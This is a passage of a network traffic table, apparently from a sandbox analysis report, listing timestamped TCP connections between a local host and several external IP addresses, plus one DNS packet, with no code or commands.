Aug 28, 2024 13:52:56.132621050 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.132636070 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.132694960 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.132700920 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.132750988 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.133302927 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.133316994 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.133366108 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.133373022 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.133404016 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.133413076 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.133866072 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.133903980 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.133930922 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.133934021 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.133963108 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.133980989 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.134090900 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.134150028 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.134155989 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.134607077 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.134620905 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.134677887 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.134685993 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.134882927 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.134922981 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.134933949 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.134942055 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.134991884 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.135580063 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.135600090 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.135659933 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.135668993 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.187192917 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.219913006 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.219929934 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.220010042 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.220026970 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.220087051 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.220607042 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.220621109 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.220681906 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.220688105 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.220736027 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.221364975 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.221395969 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.221432924 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.221441031 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.221468925 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.221492052 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.221982002 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.221997976 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.222053051 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.222059965 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.222109079 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.222234011 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.222295046 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.222300053 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.222660065 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.222727060 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.222740889 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.223025084 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.223067999 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.223097086 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.223104000 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.223129988 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.223526955 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.223596096 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.223603010 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.223968983 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.223984003 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.224049091 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.224056005 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.224689007 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.224704027 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.224760056 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.224767923 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.267213106 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.308933973 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.308948994 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.309036016 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.309045076 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.309096098 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.309520960 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.309560061 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.309592962 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.309598923 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.309622049 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.309644938 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.309946060 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.310009956 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.310014963 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.310028076 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.310065985 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.310136080 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.310148001 CEST	443	49761	162.62.150.176	192.168.2.16
Aug 28, 2024 13:52:56.310156107 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.310190916 CEST	49761	443	192.168.2.16	162.62.150.176
Aug 28, 2024 13:52:56.400602102 CEST	443	49763	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:56.400686026 CEST	443	49763	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:56.400734901 CEST	49763	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:56.401089907 CEST	49763	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:56.401098013 CEST	443	49763	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:56.938863993 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:56.938901901 CEST	443	49764	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:56.938982964 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:56.939203978 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:56.939218044 CEST	443	49764	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:58.005075932 CEST	443	49764	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:58.005398035 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:58.005420923 CEST	443	49764	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:58.006416082 CEST	443	49764	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:58.006481886 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:58.006844044 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:58.006902933 CEST	443	49764	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:58.006968975 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:58.006975889 CEST	443	49764	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:58.038223982 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 13:52:58.054446936 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:58.132076979 CEST	443	49764	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:58.132137060 CEST	443	49764	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:58.132210970 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:58.132551908 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:58.132570982 CEST	443	49764	162.241.71.126	192.168.2.16
Aug 28, 2024 13:52:58.132580042 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:58.132617950 CEST	49764	443	192.168.2.16	162.241.71.126
Aug 28, 2024 13:52:59.440943956 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:52:59.440990925 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:52:59.441061974 CEST	49766	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:52:59.441062927 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:52:59.441071987 CEST	443	49766	13.107.246.60	192.168.2.16
Aug 28, 2024 13:52:59.441124916 CEST	49766	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:52:59.441340923 CEST	49766	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:52:59.441354036 CEST	443	49766	13.107.246.60	192.168.2.16
Aug 28, 2024 13:52:59.441466093 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:52:59.441473961 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:52:59.441828012 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:52:59.441865921 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:52:59.441926003 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:52:59.442079067 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:52:59.442091942 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.084692955 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.085385084 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.085406065 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.086430073 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.086510897 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.087888956 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.087961912 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.088145018 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.088155031 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.102869987 CEST	443	49766	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.103121996 CEST	49766	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.103137970 CEST	443	49766	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.104134083 CEST	443	49766	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.104299068 CEST	49766	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.104491949 CEST	49766	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.104543924 CEST	443	49766	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.104635954 CEST	49766	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.104645014 CEST	443	49766	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.128262043 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.158257961 CEST	49766	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.219244003 CEST	443	49766	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.219301939 CEST	443	49766	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.219381094 CEST	49766	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.220187902 CEST	49766	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.220202923 CEST	443	49766	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.230999947 CEST	49769	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.231038094 CEST	443	49769	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.231122971 CEST	49769	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.231333971 CEST	49769	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.231345892 CEST	443	49769	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.237685919 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.237900019 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.237909079 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.238188028 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.238205910 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.238213062 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.238259077 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.238276958 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.238286972 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.238298893 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.238329887 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.238358974 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.238432884 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.238486052 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.238488913 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.238538027 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.238904953 CEST	49765	443	192.168.2.16	13.107.246.60
Aug 28, 2024 13:53:00.238909006 CEST	443	49765	13.107.246.60	192.168.2.16
Aug 28, 2024 13:53:00.238950968 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.239016056 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.240134001 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.240199089 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.240291119 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.240298986 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.241642952 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.241650105 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.241727114 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.241898060 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.241908073 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.282268047 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.492520094 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.492923975 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.492989063 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.493000984 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.493011951 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.493052006 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.493220091 CEST	49767	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.493227005 CEST	443	49767	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.503654003 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.503664970 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.503722906 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.503958941 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:00.503967047 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:00.875459909 CEST	443	49769	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.875910997 CEST	49769	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.875933886 CEST	443	49769	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.876926899 CEST	443	49769	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.876995087 CEST	49769	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.877305031 CEST	49769	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.877363920 CEST	443	49769	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.877460957 CEST	49769	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.877471924 CEST	443	49769	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.902488947 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.902841091 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.902864933 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.903903008 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.903973103 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.904216051 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.904282093 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.904489040 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.904498100 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.920278072 CEST	49769	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.952388048 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.976717949 CEST	443	49769	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.976777077 CEST	443	49769	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:00.976943970 CEST	49769	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.977555990 CEST	49769	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:00.977571964 CEST	443	49769	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:01.008733988 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:01.008763075 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:01.008770943 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:01.008793116 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:01.008817911 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:01.008862972 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:01.008872032 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:01.008882999 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:01.009068012 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:01.009068012 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:01.009681940 CEST	49770	443	192.168.2.16	13.107.246.73
Aug 28, 2024 13:53:01.009686947 CEST	443	49770	13.107.246.73	192.168.2.16
Aug 28, 2024 13:53:01.315718889 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:01.342410088 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:01.342428923 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:01.343537092 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:01.343621016 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:01.343933105 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:01.343997002 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:01.344099998 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:01.344106913 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:01.397598982 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:01.579391956 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:01.579453945 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:01.579516888 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:01.579533100 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:01.579581022 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:01.580647945 CEST	49771	443	192.168.2.16	152.199.21.175
Aug 28, 2024 13:53:01.580667973 CEST	443	49771	152.199.21.175	192.168.2.16
Aug 28, 2024 13:53:03.212285042 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 13:53:06.318842888 CEST	443	49746	104.26.7.122	192.168.2.16
Aug 28, 2024 13:53:06.318916082 CEST	443	49746	104.26.7.122	192.168.2.16
Aug 28, 2024 13:53:06.318981886 CEST	49746	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:53:07.649298906 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 13:53:08.000175953 CEST	49746	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:53:08.000214100 CEST	443	49746	104.26.7.122	192.168.2.16
Aug 28, 2024 13:53:20.493561983 CEST	49697	80	192.168.2.16	199.232.214.172
Aug 28, 2024 13:53:20.493561983 CEST	49698	80	192.168.2.16	199.232.214.172
Aug 28, 2024 13:53:20.498801947 CEST	80	49697	199.232.214.172	192.168.2.16
Aug 28, 2024 13:53:20.498878002 CEST	49697	80	192.168.2.16	199.232.214.172
Aug 28, 2024 13:53:20.499253988 CEST	80	49698	199.232.214.172	192.168.2.16
Aug 28, 2024 13:53:20.499314070 CEST	49698	80	192.168.2.16	199.232.214.172
Aug 28, 2024 13:53:20.898633003 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:20.898696899 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:20.898797035 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:20.899122953 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:20.899137974 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:21.697720051 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:21.697880030 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:21.699147940 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:21.699160099 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:21.699572086 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:21.701214075 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:21.748498917 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:22.035253048 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:22.035309076 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:22.035357952 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:22.035413027 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:22.035451889 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:22.035470009 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:22.035511017 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:22.036907911 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:22.036967993 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:22.037009954 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:22.037024975 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:22.037036896 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:22.037120104 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:22.037172079 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:22.038412094 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:22.038435936 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:22.038444996 CEST	49772	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:53:22.038450956 CEST	443	49772	20.114.59.183	192.168.2.16
Aug 28, 2024 13:53:38.631521940 CEST	49774	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:53:38.631566048 CEST	443	49774	142.250.185.164	192.168.2.16
Aug 28, 2024 13:53:38.631664991 CEST	49774	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:53:38.631907940 CEST	49774	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:53:38.631916046 CEST	443	49774	142.250.185.164	192.168.2.16
Aug 28, 2024 13:53:39.267442942 CEST	443	49774	142.250.185.164	192.168.2.16
Aug 28, 2024 13:53:39.267730951 CEST	49774	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:53:39.267760038 CEST	443	49774	142.250.185.164	192.168.2.16
Aug 28, 2024 13:53:39.268322945 CEST	443	49774	142.250.185.164	192.168.2.16
Aug 28, 2024 13:53:39.268615007 CEST	49774	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:53:39.268692970 CEST	443	49774	142.250.185.164	192.168.2.16
Aug 28, 2024 13:53:39.317437887 CEST	49774	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:53:49.167522907 CEST	443	49774	142.250.185.164	192.168.2.16
Aug 28, 2024 13:53:49.167639017 CEST	443	49774	142.250.185.164	192.168.2.16
Aug 28, 2024 13:53:49.167720079 CEST	49774	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:53:49.995553970 CEST	49774	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:53:49.995588064 CEST	443	49774	142.250.185.164	192.168.2.16
Aug 28, 2024 13:54:11.502796888 CEST	49700	80	192.168.2.16	192.229.221.95
Aug 28, 2024 13:54:11.508281946 CEST	80	49700	192.229.221.95	192.168.2.16
Aug 28, 2024 13:54:11.508440971 CEST	49700	80	192.168.2.16	192.229.221.95

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 13:52:33.773852110 CEST	53	49652	1.1.1.1	192.168.2.16
